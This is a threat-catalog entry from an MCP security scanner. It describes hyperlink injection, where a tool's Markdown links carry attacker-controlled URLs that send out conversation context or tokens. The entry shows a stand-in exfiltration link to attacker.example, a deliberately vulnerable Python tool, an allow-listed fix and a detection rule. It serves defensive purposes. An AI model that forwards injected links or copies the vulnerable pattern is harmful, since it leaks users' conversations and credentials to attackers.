MCPSafe.io
RegistryThreatsMethodologyDocsPricingScanSign in
MCPSafe.io

Security checks for MCP servers — public packages and private repos, fast or deep.

Legal

Privacy PolicyCookie PolicyTerms of ServiceSecurity disclosure

Resources

State of MCP SecuritySupportSystem statusMade in Germany 🇩🇪

© 2026 MCPSafe. All rights reserved.

GDPR — Privacy Policy
← Threat Catalog

Interaction & Data Flow

Hyperlink injection in tool output

HIGHCWE: CWE-200Rule: MCP-221

Concrete carrier for the exfil-via-tool-output family (parent: MCP-005, sibling: MCP-220 image variant): an MCP tool returns Markdown hyperlinks where the URL is built from caller-controlled input — clicking the rendered link sends conversation context (or session tokens) to the attacker's domain.

What it is

Sibling of MCP-220, but with explicit user interaction: instead of an auto-fetched image, the bug surface is `[text](attacker.example/log?data=...)`. The user has to click the link, but the link's display text can be anything ("Read more", "Source documentation") — and many users click without scrutinizing the destination.

Why it matters for MCP

Malicious documents retrieved by an MCP tool can plant hyperlinks that propagate through the model's reasoning into the tool's reply. The tool then hands them back to the client unchanged, and the client renders them as clickable links. The attack works without any prompt-injection sophistication — the tool just has to forward URLs.

Vulnerable example

example.py
1
@server.tool()
2
def search_docs(query: str, source_url: str) -> str:
3
    # source_url comes from retrieved content — attacker-controllable.
4
    return f"Found result. [Read source]({source_url})"

Secure example

example.py
1
from urllib.parse import urlparse
2
3
ALLOWED = {"docs.your-app.example", "github.com"}
4
5
@server.tool()
6
def search_docs(query: str, source_url: str) -> str:
7
    host = urlparse(source_url).hostname or ""
8
    if host not in ALLOWED:
9
        return "Found result. (Source URL hidden — domain not allow-listed.)"
10
    return f"Found result. [Read source]({source_url})"

How MCPSafe detects this

Pattern matches `[<text>](<url>)` Markdown construction in tool returns where the URL component is f-string / `.format()` / `+` concatenated from a handler parameter. Allow-listed by `urlparse(...).hostname in ALLOWED`-style guards or explicit domain checks.

See the full threat catalog for every documented detection.

Further reading

  • OWASP: Open Redirect
  • CWE-200: Information Exposure

Scan an MCP server for this issue

MCPSafe runs this check — and every other rule in the catalog — on any MCP server you paste in.

Scan now